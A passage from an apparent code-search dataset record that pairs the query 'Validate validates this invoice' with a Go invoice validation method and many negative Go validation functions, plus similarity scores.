\"***\")\n\n\treturn strings.TrimSpace(text), err\n}", "func (r *Reply) Text(format string, values ...interface{}) *Reply {\n\tr.ContentType(ahttp.ContentTypePlainText.String())\n\tr.Render(&textRender{Format: format, Values: values})\n\treturn r\n}", "func Ask(prompt string) (password string, err error) {\n\treturn FAsk(os.Stdout, prompt)\n}", "func NewConstPlainPrompt(s string) Prompt {\n\treturn constPrompt{styled.Plain(s)}\n}", "func NewFuncPlainPrompt(f func() string) Prompt {\n\treturn funcPrompt{func() styled.Text { return styled.Plain(f()) }}\n}", "func Text(v string) UI {\n\treturn &text{textValue: v}\n}", "func String(pr string, defaultValue string) string {\n\treturn defaultPrompter.String(pr, defaultValue)\n}", "func (v Season_Ic_Ta) Text() string {\n\ts, _ := v.marshalText()\n\treturn s\n}", "func (s ListPromptsOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func TermPrompt(prompt string, options []string, wait bool) int {\n\tscreenb := TempFini()\n\n\tidx := -1\n\t// same behavior as do { ... } while (wait && idx == -1)\n\tfor ok := true; ok; ok = wait && idx == -1 {\n\t\treader := bufio.NewReader(os.Stdin)\n\t\tfmt.Print(prompt)\n\t\tresp, _ := reader.ReadString('\\n')\n\t\tresp = strings.TrimSpace(resp)\n\n\t\tfor i, opt := range options {\n\t\t\tif resp == opt {\n\t\t\t\tidx = i\n\t\t\t}\n\t\t}\n\n\t\tif wait && idx == -1 {\n\t\t\tfmt.Println(\"\\nInvalid choice.\")\n\t\t}\n\t}\n\n\tTempStart(screenb)\n\n\treturn idx\n}" ]
[ "0.6822254", "0.6748872", "0.6731094", "0.6474014", "0.64697516", "0.6310034", "0.628811", "0.6287616", "0.6280171", "0.6254487", "0.6247146", "0.62453324", "0.6210253", "0.62010115", "0.6150892", "0.6146083", "0.6128338", "0.61146104", "0.605613", "0.6050503", "0.6043243", "0.5991858", "0.5968955", "0.59638613", "0.5926607", "0.59138346", "0.5909699", "0.5908343", "0.59065247", "0.58871496", "0.58856565", "0.5867483", "0.58513796", "0.58421195", "0.5837624", "0.58228225", "0.5810576", "0.57857776", "0.5729121", "0.570467", "0.56954175", "0.56212574", "0.5617347", "0.561642", "0.56157815", "0.56036437", "0.5596818", "0.5593492", "0.5559394", "0.55556834", "0.5554735", "0.5527197", "0.5482198", "0.5479839", "0.5474364", "0.54723", "0.54722315", "0.5470784", "0.5468269", "0.54661065", "0.543615", "0.5433801", "0.54182464", "0.54167175", "0.5380122", "0.5377112", "0.5364689", "0.53601533", "0.5349383", "0.53474575", "0.53415304", "0.5336081", "0.53135496", "0.5303373", "0.52758276", "0.527348", "0.52334267", "0.52279747", "0.5225645", "0.520814", "0.51998365", "0.5190681", "0.51906615", "0.51770437", "0.5172363", "0.5171776", "0.5165001", "0.5156152", "0.51519644", "0.5146068", "0.5145383", "0.5120449", "0.5110585", "0.50995517", "0.50967926", "0.5096704", "0.5095207", "0.5076427", "0.50747997", "0.5073401" ]
0.69208825
0
Validate validates this invoice
func (m *Invoice) Validate(formats strfmt.Registry) error { var res []error if err := m.validateChanges(formats); err != nil { res = append(res, err) } if err := m.validateCurrency(formats); err != nil { res = append(res, err) } if err := m.validateCustomer(formats); err != nil { res = append(res, err) } if err := m.validateEhfSendStatus(formats); err != nil { res = append(res, err) } if err := m.validateInvoiceDate(formats); err != nil { res = append(res, err) } if err := m.validateInvoiceDueDate(formats); err != nil { res = append(res, err) } if err := m.validateInvoiceNumber(formats); err != nil { res = append(res, err) } if err := m.validateKid(formats); err != nil { res = append(res, err) } if err := m.validateOrders(formats); err != nil { res = append(res, err) } if err := m.validatePaymentTypeID(formats); err != nil { res = append(res, err) } if err := m.validatePostings(formats); err != nil { res = append(res, err) } if err := m.validateProjectInvoiceDetails(formats); err != nil { res = append(res, err) } if err := m.validateReminders(formats); err != nil { res = append(res, err) } if err := m.validateVoucher(formats); err != nil { res = append(res, err) } if len(res) > 0 { return errors.CompositeValidationError(res...) } return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *Invoice) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAccountID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateAuditLogs(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCredits(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCurrency(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInvoiceDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInvoiceID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateParentAccountID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateParentInvoiceID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStatus(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTargetDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *CreateInvoiceRequest) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateIdempotencyKey(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInvoice(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *ListInvoicesRequest) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateLocationID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (c *Create) Validate(dtInv *data.Inventory) error {\n\treturn dtInv.Validate()\n}", "func (m *SalesDataInvoiceItemInterface) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateOrderItemID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateQty(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateSku(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *Invoice) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.contextValidateAuditLogs(ctx, formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.contextValidateCredits(ctx, formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.contextValidateItems(ctx, formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *CreateInvoiceRequest) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.contextValidateInvoice(ctx, formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func validateInvoiceDetails(stub shim.ChaincodeStubInterface, args []string) string {\n\tvar output string\n\tvar errorMessages []string\n\tvar invoices []map[string]interface{}\n\tvar ufaDetails map[string]interface{}\n\t//I am assuming the invoices would sent as an array and must be multiple\n\tpayload := args[1]\n\tjson.Unmarshal([]byte(payload), &invoices)\n\tif len(invoices) < 2 {\n\t\terrorMessages = append(errorMessages, \"Invalid number of invoices\")\n\t} else {\n\t\t//Now checking the ufa number\n\t\tfirstInvoice := invoices[0]\n\t\tufanumber := getSafeString(firstInvoice[\"ufanumber\"])\n\t\tif ufanumber == \"\" {\n\t\t\terrorMessages = append(errorMessages, \"UFA number not provided\")\n\t\t} else {\n\t\t\trecBytes, err := stub.GetState(ufanumber)\n\t\t\tif err != nil || recBytes == nil {\n\t\t\t\terrorMessages = append(errorMessages, \"Invalid UFA number provided\")\n\t\t\t} else {\n\t\t\t\tjson.Unmarshal(recBytes, &ufaDetails)\n\t\t\t\t//Rasied invoice shoul not be exhausted\n\t\t\t\traisedTotal := getSafeNumber(ufaDetails[\"raisedInvTotal\"])\n\t\t\t\ttotalCharge := getSafeNumber(ufaDetails[\"netCharge\"])\n\t\t\t\ttolerance := getSafeNumber(ufaDetails[\"chargTolrence\"])\n\t\t\t\tmaxCharge := totalCharge + (totalCharge * tolerance / 100)\n\t\t\t\tif raisedTotal == maxCharge {\n\t\t\t\t\terrorMessages = append(errorMessages, \"All charges exhausted. Invoices can not raised\")\n\t\t\t\t}\n\t\t\t\t//Now check if invoice is already raised for the period or not\n\t\t\t\tbillingPerid := getSafeString(firstInvoice[\"billingPeriod\"])\n\t\t\t\tif billingPerid == \"\" {\n\t\t\t\t\terrorMessages = append(errorMessages, \"Invalid billing period\")\n\t\t\t\t}\n\t\t\t\tif ufaDetails[\"invperiod_\"+billingPerid] != nil {\n\t\t\t\t\terrorMessages = append(errorMessages, \"Invoice already raised for the month\")\n\t\t\t\t}\n\t\t\t\t//Now check the sum of invoice amount\n\t\t\t\trunningTotal := 0.0\n\t\t\t\tvar buffer bytes.Buffer\n\t\t\t\tfor _, invoice := range invoices {\n\t\t\t\t\tinvoiceNumber := getSafeString(invoice[\"invoiceNumber\"])\n\t\t\t\t\tamount := getSafeNumber(invoice[\"invoiceAmt\"])\n\t\t\t\t\tif amount < 0 {\n\t\t\t\t\t\terrorMessages = append(errorMessages, \"Invalid invoice amount in \"+invoiceNumber)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\tbuffer.WriteString(invoiceNumber)\n\t\t\t\t\tbuffer.WriteString(\",\")\n\t\t\t\t\trunningTotal = runningTotal + amount\n\t\t\t\t}\n\t\t\t\tif (raisedTotal + runningTotal/2) >= maxCharge {\n\t\t\t\t\terrorMessages = append(errorMessages, \"Invoice value is exceeding total allowed charge\")\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t}\n\tif len(errorMessages) == 0 {\n\t\toutput = \"\"\n\t} else {\n\t\toutputBytes, _ := json.Marshal(errorMessages)\n\t\toutput = string(outputBytes)\n\t}\n\treturn output\n}", "func (mt *EasypostInsurance) Validate() (err error) {\n\tif mt.ID == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"id\"))\n\t}\n\tif mt.Object == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"object\"))\n\t}\n\n\tif mt.Fee != nil {\n\t\tif err2 := mt.Fee.Validate(); err2 != nil {\n\t\t\terr = goa.MergeErrors(err, err2)\n\t\t}\n\t}\n\tif mt.FromAddress != nil {\n\t\tif err2 := mt.FromAddress.Validate(); err2 != nil {\n\t\t\terr = goa.MergeErrors(err, err2)\n\t\t}\n\t}\n\tif ok := goa.ValidatePattern(`^ins_`, mt.ID); !ok {\n\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.id`, mt.ID, `^ins_`))\n\t}\n\tif !(mt.Mode == \"test\" || mt.Mode == \"production\") {\n\t\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.mode`, mt.Mode, []interface{}{\"test\", \"production\"}))\n\t}\n\tif ok := goa.ValidatePattern(`^Insurance$`, mt.Object); !ok {\n\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.object`, mt.Object, `^Insurance$`))\n\t}\n\tif mt.Status != nil {\n\t\tif !(*mt.Status == \"cancelled\" || *mt.Status == \"failed\" || *mt.Status == \"purchased\" || *mt.Status == \"pending\" || *mt.Status == \"new\") {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.status`, *mt.Status, []interface{}{\"cancelled\", \"failed\", \"purchased\", \"pending\", \"new\"}))\n\t\t}\n\t}\n\tif mt.ToAddress != nil {\n\t\tif err2 := mt.ToAddress.Validate(); err2 != nil {\n\t\t\terr = goa.MergeErrors(err, err2)\n\t\t}\n\t}\n\tif mt.Tracker != nil {\n\t\tif err2 := mt.Tracker.Validate(); err2 != nil {\n\t\t\terr = goa.MergeErrors(err, err2)\n\t\t}\n\t}\n\treturn\n}", "func (m *LineItem) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateDigitalItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateGiftCertificates(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePhysicalItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVirtualItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (rdAddendumB *ReturnDetailAddendumB) Validate() error {\n\tif err := rdAddendumB.fieldInclusion(); err != nil {\n\t\treturn err\n\t}\n\tif rdAddendumB.recordType != \"33\" {\n\t\tmsg := fmt.Sprintf(msgRecordType, 33)\n\t\treturn &FieldError{FieldName: \"recordType\", Value: rdAddendumB.recordType, Msg: msg}\n\t}\n\tif err := rdAddendumB.isAlphanumericSpecial(rdAddendumB.PayorBankName); err != nil {\n\t\treturn &FieldError{FieldName: \"PayorBankName\", Value: rdAddendumB.PayorBankName, Msg: err.Error()}\n\t}\n\tif err := rdAddendumB.isAlphanumericSpecial(rdAddendumB.PayorAccountName); err != nil {\n\t\treturn &FieldError{FieldName: \"PayorAccountName\", Value: rdAddendumB.PayorAccountName, Msg: err.Error()}\n\t}\n\n\tif date := rdAddendumB.PayorBankBusinessDate; !date.IsZero() {\n\t\t// optional field - if present, year must be between 1993 and 9999\n\t\tif date.Year() < 1993 || date.Year() > 9999 {\n\t\t\treturn &FieldError{FieldName: \"PayorBankBusinessDate\",\n\t\t\t\tValue: rdAddendumB.PayorBankBusinessDateField(), Msg: msgInvalidDate + \": year must be between 1993 and 9999\"}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (m *DocumentPayment) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAmount(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDocumentID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProvider(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReference(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (p *ProofOfServiceDoc) Validate(_ *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.UUIDIsPresent{Field: p.PaymentRequestID, Name: \"PaymentRequestID\"},\n\t), nil\n}", "func (i *Inventory) Validate() error {\n\n\t// TODO: implement\n\treturn nil\n}", "func (m InvoiceDeliveryMethod) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// value enum\n\tif err := m.validateInvoiceDeliveryMethodEnum(\"\", \"body\", m); err != nil {\n\t\treturn err\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *Discount422Error) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *Purchase) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for UserId\n\n\tif v, ok := interface{}(m.GetTimestamp()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn PurchaseValidationError{\n\t\t\t\tfield: \"Timestamp\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\t// no validation rules for Items\n\n\t// no validation rules for Amount\n\n\t// no validation rules for SrcAddressId\n\n\t// no validation rules for DestAddressId\n\n\t// no validation rules for MerchantId\n\n\t// no validation rules for DistanceInKilometers\n\n\t// no validation rules for ShippingId\n\n\treturn nil\n}", "func (p paymentJson) Validate() error {\n\tif p.AccountId == \"\" {\n\t\treturn errors.New(\"missing customer id\")\n\t}\n\tif p.Amount == 0 {\n\t\treturn errors.New(\"missing amount\")\n\t}\n\treturn nil\n}", "func (w Warrant) Validate() error {\n\tif len(w.FirstName) == 0 {\n\t\treturn errors.New(\"missing first name element\")\n\t}\n\tif len(w.LastName) == 0 {\n\t\treturn errors.New(\"missing last name element\")\n\t}\n\tif len(w.Civility) == 0 {\n\t\treturn errors.New(\"missing civility element\")\n\t}\n\treturn nil\n}", "func (m *Voucher) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAttachment(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateChanges(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDescription(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDocument(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEdiDocument(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateNumber(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePostings(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReverseVoucher(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTempNumber(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVoucherType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateYear(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *LineItemVirtualItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (m *Reservation) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateApproved(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBegin(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEnd(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateUsername(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *Refund) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAdditionalRecipients(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateAmountMoney(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCreatedAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLocationID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProcessingFeeMoney(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReason(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStatus(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTenderID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTransactionID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m FilledQuantity) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (m *Intake) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateGovernance(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (o *GetInteractionsInviteInviteCodeStatusOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Envelope\n\tif err := o.Envelope.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *SovrenParserModelSovrenDateWithParts) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (doc *Document) Valid() error {\n\tif doc.ID == \"\" {\n\t\treturn errors.New(\"missing ID\")\n\t}\n\n\tif err := doc.Resource.Change.Valid(); err != nil {\n\t\treturn errors.Wrap(err, \"invalid Resource.Change\")\n\t}\n\treturn nil\n}", "func validateNewInvoideData(stub shim.ChaincodeStubInterface, args []string) []byte {\n\tvar output string\n\tmsg := validateInvoiceDetails(stub, args)\n\n\tif msg == \"\" {\n\t\toutput = \"{\\\"validation\\\":\\\"Success\\\",\\\"msg\\\" : \\\"\\\" }\"\n\t} else {\n\t\toutput = \"{\\\"validation\\\":\\\"Failure\\\",\\\"msg\\\" : \\\"\" + msg + \"\\\" }\"\n\t}\n\treturn []byte(output)\n}", "func (o *CreateProductUnprocessableEntityBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (inf *Inflation) Validate() error {\n\t// no required fields, return nil.\n\treturn nil\n}", "func (mt *EasypostInsurances) Validate() (err error) {\n\tif mt.Insurances == nil {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"insurances\"))\n\t}\n\n\tfor _, e := range mt.Insurances {\n\t\tif e.ID == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response.insurances[*]`, \"id\"))\n\t\t}\n\t\tif e.Object == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response.insurances[*]`, \"object\"))\n\t\t}\n\n\t\tif e.Fee != nil {\n\t\t\tif err2 := e.Fee.Validate(); err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, err2)\n\t\t\t}\n\t\t}\n\t\tif e.FromAddress != nil {\n\t\t\tif err2 := e.FromAddress.Validate(); err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, err2)\n\t\t\t}\n\t\t}\n\t\tif ok := goa.ValidatePattern(`^ins_`, e.ID); !ok {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.insurances[*].id`, e.ID, `^ins_`))\n\t\t}\n\t\tif !(e.Mode == \"test\" || e.Mode == \"production\") {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.insurances[*].mode`, e.Mode, []interface{}{\"test\", \"production\"}))\n\t\t}\n\t\tif ok := goa.ValidatePattern(`^Insurance$`, e.Object); !ok {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.insurances[*].object`, e.Object, `^Insurance$`))\n\t\t}\n\t\tif e.Status != nil {\n\t\t\tif !(*e.Status == \"cancelled\" || *e.Status == \"failed\" || *e.Status == \"purchased\" || *e.Status == \"pending\" || *e.Status == \"new\") {\n\t\t\t\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.insurances[*].status`, *e.Status, []interface{}{\"cancelled\", \"failed\", \"purchased\", \"pending\", \"new\"}))\n\t\t\t}\n\t\t}\n\t\tif e.ToAddress != nil {\n\t\t\tif err2 := e.ToAddress.Validate(); err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, err2)\n\t\t\t}\n\t\t}\n\t\tif e.Tracker != nil {\n\t\t\tif err2 := e.Tracker.Validate(); err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, err2)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "func (o *DetailsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (o *GetVersionOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Envelope\n\tif err := o.Envelope.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (o *AcceptInvitationBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateAlias(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (r *createRequest) Validate() *validation.Output {\n\to := &validation.Output{Valid: true}\n\tvar err error\n\tvar PartnerID int64\n\tvar partner *model.Partnership\n\tvar sorder *model.SalesOrder\n\tvar code string\n\n\t// cek partner id ada atau tidak\n\tPartnerID, err = common.Decrypt(r.CustomerID)\n\tif err != nil {\n\t\to.Failure(\"customer_id.invalid\", \"Partnership id is invalid\")\n\t}\n\n\t// cek partner ecist or not\n\tpartner, err = partnership.GetPartnershipByField(\"id\", PartnerID)\n\n\tif err != nil || partner == nil || partner.IsDeleted == 1 || partner.IsArchived == 1 {\n\t\to.Failure(\"customer_id.invalid\", \"Partnership id is not found\")\n\t} else {\n\t\tcode, _ = CodeGen(partner.IsDefault == 1)\n\n\t\tif partner.PartnershipType != \"customer\" {\n\t\t\to.Failure(\"customer_id\", \"Customer needed to have partner type customer not supplier\")\n\t\t}\n\n\t\tif partner.IsDefault == int8(1) {\n\t\t\tif r.AutoFullfilment == int8(0) {\n\t\t\t\to.Failure(\"auto_fullfilment\", \"auto fullfilment need to be filled if Customer is walk in\")\n\t\t\t}\n\t\t\tif r.AutoInvoice == int8(0) {\n\t\t\t\to.Failure(\"auto_invoice\", \"auto invoice need to be filled if Customer is walk in\")\n\t\t\t}\n\t\t\tif r.EtaDate.IsZero() {\n\t\t\t\to.Failure(\"eta_date\", \"ETA Date need to be filled if Customer is walk in\")\n\t\t\t}\n\t\t} else {\n\t\t\tif r.ShipmentAddress == \"\" {\n\t\t\t\to.Failure(\"shipment_address\", \"Shipment address is required\")\n\t\t\t}\n\t\t}\n\n\t\tif partner.OrderRule == \"one_bill\" {\n\t\t\tvar soContainer *model.SalesOrder\n\t\t\torm.NewOrm().Raw(\"SELECT * FROM sales_order WHERE customer_id = ? AND document_status = 'new' OR document_status = 'active' AND invoice_status = 'active';\", PartnerID).QueryRow(&soContainer)\n\t\t\tif soContainer != nil {\n\t\t\t\to.Failure(\"customer_id\", \"Partner still have unfinished invoice\")\n\t\t\t}\n\t\t} else if partner.OrderRule == \"plafon\" {\n\t\t\tcurrent := partner.TotalDebt + r.TotalCharge\n\t\t\tif current >= partner.MaxPlafon {\n\t\t\t\to.Failure(\"customer_id\", \"Partnership has already reached given max plafon\")\n\t\t\t}\n\t\t}\n\t}\n\n\tif r.IsPaid == 1 {\n\t\tif r.AutoInvoice != 1 {\n\t\t\to.Failure(\"auto_invoice\", \"Auto invoice must be checked if Auto Paid is checked\")\n\t\t}\n\t}\n\n\tso := &model.SalesOrder{Code: code}\n\n\tif err := so.Read(\"Code\"); err == nil {\n\t\to.Failure(\"code\", \"Code sales order is already being used\")\n\t} else {\n\t\tr.Code = code\n\t}\n\n\ttz := time.Time{}\n\tif r.EtaDate == tz {\n\t\to.Failure(\"eta_date\", \"Field is required.\")\n\t}\n\n\t// cek status reference id\n\tif r.ReferencesID != \"\" {\n\t\trefID, err := common.Decrypt(r.ReferencesID)\n\t\tif err != nil {\n\t\t\to.Failure(\"references_id\", \"References id is not valid\")\n\t\t}\n\t\tvar emptyLoad []string\n\t\tsorder, err = GetDetailSalesOrder(refID, emptyLoad)\n\t\tif err != nil {\n\t\t\to.Failure(\"references_id\", \"References is not found\")\n\t\t} else {\n\t\t\tif sorder.DocumentStatus != \"approved_cancel\" {\n\t\t\t\to.Failure(\"references_id\", \"References document status is not cancel\")\n\t\t\t}\n\t\t}\n\t}\n\n\tcheckDuplicate := make(map[string]bool)\n\tvar checkVariant = make(map[int64]*model.ItemVariant)\n\n\tfor _, row := range r.SalesOrderItem {\n\t\tIVariantID, _ := common.Decrypt(row.ItemVariantID)\n\t\tivar := &model.ItemVariant{ID: IVariantID}\n\t\tivar.Read(\"ID\")\n\t\t////////////////////////////////\n\t\tif checkVariant[ivar.ID] == nil {\n\t\t\tivar.CommitedStock -= row.Quantity\n\t\t\tcheckVariant[ivar.ID] = ivar\n\t\t} else {\n\t\t\tvariant := checkVariant[ivar.ID]\n\t\t\tvariant.CommitedStock -= row.Quantity\n\t\t\tcheckVariant[ivar.ID] = variant\n\t\t}\n\t\t////////////////////////////////\n\t}\n\n\t// cek setiap sales order item\n\tfor i, row := range r.SalesOrderItem {\n\t\tvar UnitA float64\n\t\tvar PricingID, IVariantID int64\n\t\tvar ItemVariant *model.ItemVariant\n\t\tvar IVPrice *model.ItemVariantPrice\n\t\t// cek item variant,pricing type dan item variant price\n\t\tPricingID, err = common.Decrypt(row.PricingType)\n\n\t\tif err != nil {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type id is invalid\")\n\t\t}\n\n\t\tIVariantID, err = common.Decrypt(row.ItemVariantID)\n\t\tif err != nil 